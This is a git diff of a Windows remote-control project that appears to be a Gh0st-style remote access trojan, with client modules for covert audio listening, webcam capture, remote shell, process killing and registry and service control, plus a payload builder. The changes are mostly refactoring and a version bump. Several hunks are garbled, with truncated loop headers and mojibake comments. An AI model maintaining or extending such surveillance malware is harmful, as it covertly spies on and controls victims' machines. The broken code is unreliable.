diff --git a/ReadMe.txt b/ReadMe.txt
index d0def57..43eda75 100644
--- a/ReadMe.txt
+++ b/ReadMe.txt
@@ -102,4 +102,10 @@
2、修复被控端屏幕被缩放显示时远程桌面跟踪鼠标的位置不准的问题。
-3、修复语音监听的问题,2个事件CAudio修改为"Manual Reset"。
+3、修复语音监听的问题,2个事件CAudio修改为非"Manual Reset"。
+
+2019.1.18
+
+1、整理部分垃圾代码。
+
+2、发布V1.0.0.2。
diff --git a/client/Audio.cpp b/client/Audio.cpp
index b60a03e..e657fcb 100644
--- a/client/Audio.cpp
+++ b/client/Audio.cpp
@@ -34,8 +34,7 @@ CAudio::CAudio()
m_ulBufferLength = 1000;
- int i = 0;
- for (i = 0; i < 2; i++)
+ for (int i = 0; i < 2; ++i)
{
m_InAudioData[i] = new BYTE[m_ulBufferLength];
m_InAudioHeader[i] = new WAVEHDR;
@@ -66,7 +65,7 @@ CAudio::~CAudio()
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
- for (int i = 0; i < 2; i++)
+ for (int i = 0; i < 2; ++i)
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
@@ -77,7 +76,7 @@ CAudio::~CAudio()
m_Thread = NULL;
}
- for (int i = 0; i < 2; i++)
+ for (int i = 0; i < 2; ++i)
{
delete [] m_InAudioData[i];
m_InAudioData[i] = NULL;
@@ -88,12 +87,12 @@ CAudio::~CAudio()
if (m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
- for (int i = 0; i < 2; i++)
+ for (int i = 0; i < 2; ++i)
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
waveOutClose(m_hWaveOut);
}
- for (int i = 0; i < 2; i++)
+ for (int i = 0; i < 2; ++i)
{
delete [] m_OutAudioData[i];
m_OutAudioData[i] = NULL;
@@ -122,7 +121,7 @@ BOOL CAudio::InitializeWaveIn()
}
//¼豸 Ҫ
- for (int i=0; i<2; i++)
+ for (int i=0; i<2; ++i)
{
m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
@@ -218,8 +217,8 @@ BOOL CAudio::InitializeWaveOut()
{
if (!waveOutGetNumDevs())
return FALSE;
- int i;
- for (i = 0; i < 2; i++)
+
+ for (int i = 0; i < 2; ++i)
memset(m_OutAudioData[i], 0, m_ulBufferLength); //
MMRESULT mmResult;
@@ -227,7 +226,7 @@ BOOL CAudio::InitializeWaveOut()
if (mmResult != MMSYSERR_NOERROR)
return false;
- for (i = 0; i < 2; i++)
+ for (int i = 0; i < 2; ++i)
{
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;
diff --git a/client/Audio.h b/client/Audio.h
index 19eb955..c152fb8 100644
--- a/client/Audio.h
+++ b/client/Audio.h
@@ -28,8 +28,8 @@ public:
bool m_hThreadCallBack;
HANDLE m_Thread;// waveInCallBack߳
static DWORD WINAPI waveInCallBack(LPVOID lParam); //͵ض
- LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize);
- BOOL CAudio::InitializeWaveIn();
+ LPBYTE GetRecordBuffer(LPDWORD dwBufferSize);
+ BOOL InitializeWaveIn();
BOOL m_bIsWaveInUsed;
HWAVEOUT m_hWaveOut;
@@ -38,8 +38,8 @@ public:
DWORD m_nWaveOutIndex;
LPWAVEHDR m_OutAudioHeader[2]; //ͷ
LPBYTE m_OutAudioData[2]; //
- BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
- BOOL CAudio::InitializeWaveOut();
+ BOOL PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
+ BOOL InitializeWaveOut();
};
#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp
index 3957f21..342edc4 100644
--- a/client/AudioManager.cpp
+++ b/client/AudioManager.cpp
@@ -59,7 +59,8 @@ DWORD CAudioManager::WorkThread(LPVOID lParam) //
CAudioManager *This = (CAudioManager *)lParam;
while (This->m_bIsWorking)
{
- This->SendRecordBuffer();
+ if(!This->SendRecordBuffer())
+ Sleep(50);
}
cout<<"CAudioManager WorkThread end\n";
@@ -67,10 +68,10 @@ DWORD CAudioManager::WorkThread(LPVOID lParam) //
return 0;
}
-int CAudioManager::SendRecordBuffer()
+BOOL CAudioManager::SendRecordBuffer()
{
DWORD dwBufferSize = 0;
- DWORD dwReturn = 0;
+ BOOL dwReturn = 0;
//õ Ƶ
LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
if (szBuffer == NULL)
diff --git a/client/AudioManager.h b/client/AudioManager.h
index b7d9bfb..c6b402b 100644
--- a/client/AudioManager.h
+++ b/client/AudioManager.h
@@ -23,7 +23,7 @@ public:
BOOL m_bIsWorking;
HANDLE m_hWorkThread;
static DWORD WorkThread(LPVOID lParam);
- int CAudioManager::SendRecordBuffer();
+ BOOL SendRecordBuffer();
CAudio* m_AudioObject;
};
diff --git a/client/Buffer.cpp b/client/Buffer.cpp
index 4a6b3c1..44b72bf 100644
--- a/client/Buffer.cpp
+++ b/client/Buffer.cpp
@@ -135,7 +135,7 @@ VOID CBuffer::ClearBuffer()
-ULONG CBuffer::GetBufferLength() //Чݳ
+ULONG CBuffer::GetBufferLength() const //Чݳ
{
if (m_Base == NULL)
return 0;
@@ -144,12 +144,12 @@ ULONG CBuffer::GetBufferLength() //
}
-ULONG CBuffer::GetBufferMaxLength()
+ULONG CBuffer::GetBufferMaxLength() const
{
return m_ulMaxLength;
}
-PBYTE CBuffer::GetBuffer(ULONG ulPos)
+PBYTE CBuffer::GetBuffer(ULONG ulPos) const
{
if (m_Base==NULL)
{
diff --git a/client/Buffer.h b/client/Buffer.h
index e1ea09a..cb732cb 100644
--- a/client/Buffer.h
+++ b/client/Buffer.h
@@ -8,14 +8,14 @@ public:
CBuffer(void);
~CBuffer(void);
- ULONG GetBufferMaxLength();
+ ULONG GetBufferMaxLength() const;
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
- ULONG GetBufferLength(); //Чݳ;
+ ULONG GetBufferLength() const; //Чݳ
ULONG DeAllocateBuffer(ULONG ulLength);
VOID ClearBuffer();
ULONG ReAllocateBuffer(ULONG ulLength);
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
- PBYTE GetBuffer(ULONG ulPos=0);
+ PBYTE GetBuffer(ULONG ulPos=0) const;
protected:
PBYTE m_Base;
diff --git a/client/CaptureVideo.h b/client/CaptureVideo.h
index 5a3750a..bd7a106 100644
--- a/client/CaptureVideo.h
+++ b/client/CaptureVideo.h
@@ -158,12 +158,12 @@ class CCaptureVideo
public:
CCaptureVideo();
virtual ~CCaptureVideo();
- LPBITMAPINFO CCaptureVideo::GetBmpInfor();
- HRESULT CCaptureVideo::InitCaptureGraphBuilder();
- HRESULT CCaptureVideo::Open(int iDeviceID,int iPress);
- BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter);
+ LPBITMAPINFO GetBmpInfor();
+ HRESULT InitCaptureGraphBuilder();
+ HRESULT Open(int iDeviceID,int iPress);
+ BOOL BindVideoFilter(int deviceId, IBaseFilter **pFilter);
- LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize);
+ LPBYTE GetDIB(DWORD& dwSize);
HWND m_hWnd;
@@ -176,10 +176,10 @@ public:
IBaseFilter* m_pBF; //FDO
ISampleGrabber* m_pGrabber; // 24Color
- void CCaptureVideo::FreeMediaType(AM_MEDIA_TYPE& mt);
- void CCaptureVideo::ResizeVideoWindow();
- HRESULT CCaptureVideo::SetupVideoWindow();
- void CCaptureVideo::SendEnd();
+ void FreeMediaType(AM_MEDIA_TYPE& mt);
+ void ResizeVideoWindow();
+ HRESULT SetupVideoWindow();
+ void SendEnd();
};
#endif // !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_)
diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp
index abaeaa2..d8d13ea 100644
--- a/client/IOCPClient.cpp
+++ b/client/IOCPClient.cpp
@@ -266,7 +266,7 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
}
-int IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello
+BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello
{
AUTO_TICK(10);
assert (ulOriginalLength > 0);
diff --git a/client/IOCPClient.h b/client/IOCPClient.h
index 776bbcd..becbae2 100644
--- a/client/IOCPClient.h
+++ b/client/IOCPClient.h
@@ -38,7 +38,7 @@ public:
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
- int OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
+ BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
BOOL IsRunning() const
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index de7ad06..7cbb705 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -18,7 +18,7 @@ CKernelManager::~CKernelManager()
{
printf("~CKernelManager begin\n");
int i = 0;
- for (i=0;i<0x1000;i++)
+ for (i=0;i<0x1000;++i)
{
if (m_hThread->h!=0)
{
diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp
index 741d219..29dbe10 100644
--- a/client/LoginServer.cpp
+++ b/client/LoginServer.cpp
@@ -56,7 +56,7 @@ BOOL WebCamIsExist()
BOOL bOk = FALSE;
char szDeviceName[100], szVer[50];
- for (int i = 0; i < 10 && !bOk; i++)
+ for (int i = 0; i < 10 && !bOk; ++i)
{
bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName),
//ϵͳAPI
diff --git a/client/RegisterManager.h b/client/RegisterManager.h
index cc65dbe..f5240d6 100644
--- a/client/RegisterManager.h
+++ b/client/RegisterManager.h
@@ -18,7 +18,7 @@ public:
CRegisterManager(IOCPClient* ClientObject, int n);
virtual ~CRegisterManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
- VOID CRegisterManager::Find(char bToken, char *szPath);
+ VOID Find(char bToken, char *szPath);
};
#endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)
diff --git a/client/RegisterOperation.h b/client/RegisterOperation.h
index c4f1f50..85e0124 100644
--- a/client/RegisterOperation.h
+++ b/client/RegisterOperation.h
@@ -14,11 +14,11 @@ class RegisterOperation
public:
RegisterOperation(char bToken);
virtual ~RegisterOperation();
- char* RegisterOperation::FindPath();
+ char* FindPath();
HKEY MKEY;
char KeyPath[MAX_PATH];
- void RegisterOperation::SetPath(char *szPath);
- char* RegisterOperation::FindKey();
+ void SetPath(char *szPath);
+ char* FindKey();
};
#endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)
diff --git a/client/Res/msg.ico b/client/Res/msg.ico
new file mode 100644
index 0000000..b45ae41
Binary files /dev/null and b/client/Res/msg.ico differ
diff --git a/client/Script.rc b/client/Script.rc
index b349eaf..b1bb981 100644
--- a/client/Script.rc
+++ b/client/Script.rc
@@ -29,7 +29,7 @@ STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSM
CAPTION "Ϣʾ"
FONT 10, "System", 0, 0, 0x0
BEGIN
- EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER | WS_VSCROLL
+ LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
END
@@ -43,7 +43,6 @@ GUIDELINES DESIGNINFO
BEGIN
IDD_DIALOG, DIALOG
BEGIN
- BOTTOMMARGIN, 101
END
END
#endif // APSTUDIO_INVOKED
@@ -88,7 +87,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
//
VS_VERSION_INFO VERSIONINFO
- FILEVERSION 1,0,0,1
+ FILEVERSION 1,0,0,2
PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
@@ -106,7 +105,7 @@ BEGIN
BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST"
- VALUE "FileVersion", "1.0.0.1"
+ VALUE "FileVersion", "1.0.0.2"
VALUE "InternalName", "ServerDl.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
VALUE "OriginalFilename", "ServerDl.dll"
@@ -129,6 +128,7 @@ END
// Icon with lowest ID value placed first to ensure application icon
// remains consistent on all systems.
IDI_ICON_MAIN ICON "Res\\ghost.ico"
+IDI_ICON_MSG ICON "Res\\msg.ico"
#endif // (壬й) resources
/////////////////////////////////////////////////////////////////////////////
diff --git a/client/ServicesManager.cpp b/client/ServicesManager.cpp
index f0d4491..dd4a9b7 100644
--- a/client/ServicesManager.cpp
+++ b/client/ServicesManager.cpp
@@ -68,7 +68,7 @@ LPBYTE CServicesManager::GetServicesList()
szBuffer[0] = TOKEN_SERVERLIST;
dwOffset = 1;
- for (unsigned long i = 0; i < dwServicesCount; i++) // Display The Services,ʾеķ
+ for (unsigned long i = 0; i < dwServicesCount; ++i) // Display The Services,ʾеķ
{
SC_HANDLE hServices = NULL;
DWORD nResumeHandle = 0;
diff --git a/client/ServicesManager.h b/client/ServicesManager.h
index a9dd60f..cbdbe5a 100644
--- a/client/ServicesManager.h
+++ b/client/ServicesManager.h
@@ -16,10 +16,10 @@ class CServicesManager : public CManager
public:
CServicesManager(IOCPClient* ClientObject, int n);
virtual ~CServicesManager();
- VOID CServicesManager::SendServicesList();
- LPBYTE CServicesManager::GetServicesList();
+ VOID SendServicesList();
+ LPBYTE GetServicesList();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
- void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength);
+ void ServicesConfig(PBYTE szBuffer, ULONG ulLength);
SC_HANDLE m_hscManager;
};
diff --git a/client/ShellManager.h b/client/ShellManager.h
index 4daccf5..b9f5bb5 100644
--- a/client/ShellManager.h
+++ b/client/ShellManager.h
@@ -25,7 +25,7 @@ public:
virtual ~CShellManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
- static DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam);
+ static DWORD WINAPI ReadPipeThread(LPVOID lParam);
HANDLE m_hThreadRead;
int m_nCmdLength; //
diff --git a/client/SystemManager.h b/client/SystemManager.h
index 400111a..40616b1 100644
--- a/client/SystemManager.h
+++ b/client/SystemManager.h
@@ -17,15 +17,15 @@ class CSystemManager : public CManager
public:
CSystemManager(IOCPClient* ClientObject,BOOL bHow);
virtual ~CSystemManager();
- LPBYTE CSystemManager::GetProcessList();
- VOID CSystemManager::SendProcessList();
- BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable);
+ LPBYTE GetProcessList();
+ VOID SendProcessList();
+ BOOL DebugPrivilege(const char *szName, BOOL bEnable);
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
- VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength);
- LPBYTE CSystemManager::GetWindowsList();
- static BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam);
- void CSystemManager::SendWindowsList();
- void CSystemManager::TestWindow(LPBYTE szBuffer);
+ VOID KillProcess(LPBYTE szBuffer, UINT ulLength);
+ LPBYTE GetWindowsList();
+ static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam);
+ void SendWindowsList();
+ void TestWindow(LPBYTE szBuffer);
};
#endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)
diff --git a/client/TalkManager.cpp b/client/TalkManager.cpp
index 20bcd9c..0a3ee53 100644
--- a/client/TalkManager.cpp
+++ b/client/TalkManager.cpp
@@ -87,11 +87,13 @@ VOID CTalkManager::OnInitDialog(HWND hDlg)
{
MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
- static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MAIN));
+ static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MSG));
::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon);
SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer);
+ ::SetFocus(GetDesktopWindow());
+
memset(g_Buffer,0,sizeof(g_Buffer));
g_Event = ID_TIMER_POP_WINDOW;
diff --git a/client/VideoManager.h b/client/VideoManager.h
index 22c9231..573e108 100644
--- a/client/VideoManager.h
+++ b/client/VideoManager.h
@@ -22,19 +22,19 @@ public:
BOOL m_bIsWorking;
HANDLE m_hWorkThread;
- void CVideoManager::SendBitMapInfor();
- void CVideoManager::SendNextScreen();
+ void SendBitMapInfor();
+ void SendNextScreen();
static DWORD WorkThread(LPVOID lParam);
CCaptureVideo m_CapVideo;
- VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength);
- BOOL CVideoManager::Initialize();
+ VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
+ BOOL Initialize();
DWORD m_fccHandler;
bool m_bIsCompress;
CVideoCodec *m_pVideoCodec; //ѹ
- void CVideoManager::Destroy();
+ void Destroy();
};
#endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)
diff --git a/client/ghost.vcxproj b/client/ghost.vcxproj
index 30e4018..a73e6e6 100644
--- a/client/ghost.vcxproj
+++ b/client/ghost.vcxproj
@@ -143,6 +143,7 @@
+
diff --git a/client/ghost.vcxproj.filters b/client/ghost.vcxproj.filters
index df17464..13ffc0d 100644
--- a/client/ghost.vcxproj.filters
+++ b/client/ghost.vcxproj.filters
@@ -178,5 +178,8 @@
资源文件
+
+ 资源文件
+
\ No newline at end of file
diff --git a/client/resource.h b/client/resource.h
index b801e4c..f0b6936 100644
--- a/client/resource.h
+++ b/client/resource.h
@@ -6,13 +6,15 @@
#define IDR_WAVE 102
#define IDI_ICON1 104
#define IDI_ICON_MAIN 104
+#define IDI_ICON2 105
+#define IDI_ICON_MSG 105
#define IDC_EDIT_MESSAGE 1000
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE 105
+#define _APS_NEXT_RESOURCE_VALUE 106
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index ebbeda7..d19591f 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index a1db7b7..bf17878 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -302,7 +302,7 @@ VOID CMy2015RemoteDlg::InitControl()
rect.bottom+=20;
MoveWindow(rect);
- for (int i = 0;iGetMenuItemCount();
if (m_CList_Online.GetSelectedCount() == 0) //ûѡ
{
- for (int i = 0;iEnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //˵ȫ
}
@@ -669,7 +669,7 @@ void CMy2015RemoteDlg::OnOnlineDelete()
int iCount = m_CList_Online.GetSelectedCount();
int i = 0;
- for (i=0;ilpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
@@ -214,7 +214,7 @@ BOOL CAudio::InitializeWaveOut()
if (!waveOutGetNumDevs())
return FALSE;
int i;
- for (i = 0; i < 2; i++)
+ for (i = 0; i < 2; ++i)
memset(m_OutAudioData[i], 0, m_ulBufferLength); //
MMRESULT mmResult;
@@ -222,7 +222,7 @@ BOOL CAudio::InitializeWaveOut()
if (mmResult != MMSYSERR_NOERROR)
return false;
- for (i = 0; i < 2; i++)
+ for (i = 0; i < 2; ++i)
{
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;
diff --git a/server/2015Remote/Audio.h b/server/2015Remote/Audio.h
index c49020f..0f9d32d 100644
--- a/server/2015Remote/Audio.h
+++ b/server/2015Remote/Audio.h
@@ -27,8 +27,8 @@ public:
DWORD m_nWaveInIndex;
bool m_hThreadCallBack;
static DWORD WINAPI waveInCallBack(LPVOID lParam); //͵ض
- LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize);
- BOOL CAudio::InitializeWaveIn();
+ LPBYTE GetRecordBuffer(LPDWORD dwBufferSize);
+ BOOL InitializeWaveIn();
BOOL m_bIsWaveInUsed;
HWAVEOUT m_hWaveOut;
@@ -37,8 +37,8 @@ public:
DWORD m_nWaveOutIndex;
LPWAVEHDR m_OutAudioHeader[2]; //ͷ
LPBYTE m_OutAudioData[2]; //
- BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
- BOOL CAudio::InitializeWaveOut();
+ BOOL PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
+ BOOL InitializeWaveOut();
};
#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp
index ffdbc7f..723e1b6 100644
--- a/server/2015Remote/BuildDlg.cpp
+++ b/server/2015Remote/BuildDlg.cpp
@@ -125,7 +125,7 @@ int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeyS
{
return -1;
}
- for (i = 0; i < iBufferSize; i++)
+ for (i = 0; i < iBufferSize; ++i)
{
for (j = 0; j < iKeySize; j ++)
if (szBuffer[i+j] != Key[j]) break; //0x12345678 78 56 34 12
diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp
index e6718d2..ac41e19 100644
--- a/server/2015Remote/FileManagerDlg.cpp
+++ b/server/2015Remote/FileManagerDlg.cpp
@@ -448,7 +448,7 @@ void CFileManagerDlg::FixedLocalFileList(CString directory)
);
// i Ϊ 0 ʱĿ¼i Ϊ 1ʱļ
- for (int i = 0; i < 2; i++)
+ for (int i = 0; i < 2; ++i)
{
CFileFind file;
BOOL bContinue;
@@ -1056,7 +1056,7 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
if (dwBufferLen != 0)
{
//
- for (int i = 0; i < 2; i++)
+ for (int i = 0; i < 2; ++i)
{
// Token5ֽ
char *pList = (char *)(pbBuffer + 1);
@@ -1767,7 +1767,7 @@ void CFileManagerDlg::WriteLocalRecvFile()
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
int nRet = 0, i = 0;
- for (; i < MAX_WRITE_RETRY; i++)
+ for (; i < MAX_WRITE_RETRY; ++i)
{
// дļ
nRet = WriteFile
@@ -2337,7 +2337,7 @@ void CFileManagerDlg::OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult)
if (pListCtrl->GetSelectedCount() == 0)
{
int count = pM->GetMenuItemCount();
- for (int i = 0; i < count; i++)
+ for (int i = 0; i < count; ++i)
{
pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED);
}
@@ -2377,7 +2377,7 @@ void CFileManagerDlg::OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult)
if (pListCtrl->GetSelectedCount() == 0)
{
int count = pM->GetMenuItemCount();
- for (int i = 0; i < count; i++)
+ for (int i = 0; i < count; ++i)
{
pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED);
}
diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp
index ec09a52..6716c40 100644
--- a/server/2015Remote/IOCPServer.cpp
+++ b/server/2015Remote/IOCPServer.cpp
@@ -271,7 +271,7 @@ BOOL IOCPServer::InitializeIOCP(VOID)
ULONG ulWorkThreadCount = m_ulThreadPoolMax;
HANDLE hWorkThread = NULL;
- for (int i=0; i0&&count>0){ //һ㱣ʩ
- for(int i=0;iInDeCompressedBuffer.GetBufferLength() - 1; i++)
+ for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i)
{
szDisplayName = szBuffer + dwOffset;
szServiceName = szDisplayName + lstrlen(szDisplayName) +1;
diff --git a/server/2015Remote/ServicesDlg.h b/server/2015Remote/ServicesDlg.h
index 064e444..65a6359 100644
--- a/server/2015Remote/ServicesDlg.h
+++ b/server/2015Remote/ServicesDlg.h
@@ -14,9 +14,9 @@ public:
virtual ~CServicesDlg();
CONTEXT_OBJECT* m_ContextObject;
IOCPServer* m_iocpServer;
- int CServicesDlg::ShowServicesList(void);
- void CServicesDlg::OnReceiveComplete(void);
- void CServicesDlg::ServicesConfig(BYTE bCmd);
+ int ShowServicesList(void);
+ void OnReceiveComplete(void);
+ void ServicesConfig(BYTE bCmd);
// Ի
enum { IDD = IDD_DIALOG_SERVICES };
diff --git a/server/2015Remote/ShellDlg.h b/server/2015Remote/ShellDlg.h
index a9dbcef..d3f5a41 100644
--- a/server/2015Remote/ShellDlg.h
+++ b/server/2015Remote/ShellDlg.h
@@ -13,10 +13,10 @@ public:
virtual ~CShellDlg();
CONTEXT_OBJECT* m_ContextObject;
IOCPServer* m_iocpServer;
- VOID CShellDlg::OnReceiveComplete();
+ VOID OnReceiveComplete();
HICON m_hIcon;
UINT m_nReceiveLength;
- VOID CShellDlg::AddKeyBoardData(void);
+ VOID AddKeyBoardData(void);
UINT m_nCurSel; //õǰλ;
// Ի
diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp
index 9fda99c..285c38c 100644
--- a/server/2015Remote/SystemDlg.cpp
+++ b/server/2015Remote/SystemDlg.cpp
@@ -98,7 +98,7 @@ void CSystemDlg::ShowWindowsList(void)
m_ControlList.DeleteAllItems();
CString str;
int i ;
- for ( i = 0; dwOffset InDeCompressedBuffer.GetBufferLength() - 1; i++)
+ for ( i = 0; dwOffset InDeCompressedBuffer.GetBufferLength() - 1; ++i)
{
LPDWORD lpPID = LPDWORD(szBuffer + dwOffset); //ھ
szTitle = (char *)szBuffer + dwOffset + sizeof(DWORD); //ڱ
@@ -128,7 +128,7 @@ void CSystemDlg::ShowProcessList(void)
m_ControlList.DeleteAllItems();
//ÿһַݽṹ Id++0++0
int i;
- for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; i++)
+ for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i)
{
LPDWORD PID = LPDWORD(szBuffer + dwOffset); //õID
szExeFile = szBuffer + dwOffset + sizeof(DWORD); //ID֮
diff --git a/server/2015Remote/SystemDlg.h b/server/2015Remote/SystemDlg.h
index 9c0f5b1..6349547 100644
--- a/server/2015Remote/SystemDlg.h
+++ b/server/2015Remote/SystemDlg.h
@@ -13,11 +13,11 @@ public:
virtual ~CSystemDlg();
CONTEXT_OBJECT* m_ContextObject;
IOCPServer* m_iocpServer;
- VOID CSystemDlg::GetProcessList(void);
- VOID CSystemDlg::ShowProcessList(void);
- void CSystemDlg::ShowWindowsList(void);
- void CSystemDlg::GetWindowsList(void);
- void CSystemDlg::OnReceiveComplete(void);
+ VOID GetProcessList(void);
+ VOID ShowProcessList(void);
+ void ShowWindowsList(void);
+ void GetWindowsList(void);
+ void OnReceiveComplete(void);
BOOL m_bHow;
// Ի
enum { IDD = IDD_DIALOG_SYSTEM };
diff --git a/server/2015Remote/TrueColorToolBar.cpp b/server/2015Remote/TrueColorToolBar.cpp
index 8a8df14..98cf097 100644
--- a/server/2015Remote/TrueColorToolBar.cpp
+++ b/server/2015Remote/TrueColorToolBar.cpp
@@ -118,7 +118,7 @@ void CTrueColorToolBar::AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uM
void CTrueColorToolBar::OnToolbarDropDown(NMHDR* pnmh, LRESULT *plr)
{
NMTOOLBARA * pnmtb=(NMTOOLBARA *)pnmh;
- for (int i = 0; i < m_lstDropDownButton.GetSize(); i++) {
+ for (int i = 0; i < m_lstDropDownButton.GetSize(); ++i) {
stDropDownInfo DropDownInfo = m_lstDropDownButton.GetAt(i);
diff --git a/server/2015Remote/VideoDlg.h b/server/2015Remote/VideoDlg.h
index 4dbb3d4..b287f59 100644
--- a/server/2015Remote/VideoDlg.h
+++ b/server/2015Remote/VideoDlg.h
@@ -152,11 +152,11 @@ public:
LPBITMAPINFO m_BitmapInfor_Full;
BYTE* m_BitmapData_Full;
BYTE* m_BitmapCompressedData_Full;
- void CVideoDlg::ResetScreen(void);
- void CVideoDlg::OnReceiveComplete(void);
- void CVideoDlg::DrawDIB(void);
+ void ResetScreen(void);
+ void OnReceiveComplete(void);
+ void DrawDIB(void);
- void CVideoDlg::InitCodec(DWORD fccHandler);
+ void InitCodec(DWORD fccHandler);
HDC m_hDC;
HDRAWDIB m_hDD;